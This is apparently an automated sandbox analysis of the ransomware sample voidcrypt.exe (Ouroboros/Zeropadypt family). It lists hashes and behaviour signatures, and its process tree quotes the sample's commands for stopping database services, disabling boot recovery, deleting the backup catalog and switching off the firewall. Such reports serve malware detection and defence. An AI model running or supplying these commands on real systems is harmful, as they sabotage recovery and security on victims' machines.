Analysis
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max time kernel
51s -
max time network
65s -
platform
windows10_x64 -
resource
win10 -
submitted
12-09-2020 15:53
General
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Target
voidcrypt.exe
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Size
997KB
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MD5
ba454585b9f42c7254c931c192556e08
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SHA1
0b530303634283a43d53abd9190106869f57ba5a
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SHA256
26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa
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SHA512
2cb918eab6776c7cfea031cbb48cc4e33e068489a37f39ba1e246f32fef7a35c3511293b399c81b5b8056bca50d725554866584460f04efe0d65c1d1c625bc4b
Score
10/10
Malware Config
Signatures
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Ouroboros/Zeropadypt
Ransomware family based on open-source CryptoWire.
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Modifies Windows Firewall 1 TTPs
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Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
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Drops startup file 1 IoCs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Drops desktop.ini file(s) 88 IoCs
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Drops autorun.inf file 1 TTPs
Malware can abuse Windows Autorun to spread further via attached volumes.
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Drops file in System32 directory 1 IoCs
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Drops file in Program Files directory 25745 IoCs
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Drops file in Windows directory 11314 IoCs
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NTFS ADS 7 IoCs
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 18 IoCs
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Suspicious use of WriteProcessMemory 93 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\voidcrypt.exe"C:\Users\Admin\AppData\Local\Temp\voidcrypt.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop SQLWriter2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net.exenet stop SQLWriter3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop SQLBrowser2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net.exenet stop SQLBrowser3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop MSSQLSERVER2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net.exenet stop MSSQLSERVER3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop MSSQL$CONTOSO12⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net.exenet stop MSSQL$CONTOSO13⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$CONTOSO14⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop MSDTC2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net.exenet stop MSDTC3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSDTC4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no2⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet2⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop SQLSERVERAGENT2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net.exenet stop SQLSERVERAGENT3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop MSSQLSERVER2⤵
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C:\Windows\SysWOW64\net.exenet stop MSSQLSERVER3⤵
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop vds2⤵
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C:\Windows\SysWOW64\net.exenet stop vds3⤵
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop vds4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set currentprofile state off2⤵
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C:\Windows\SysWOW64\netsh.exenetsh advfirewall set currentprofile state off3⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh firewall set opmode mode=disable2⤵
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB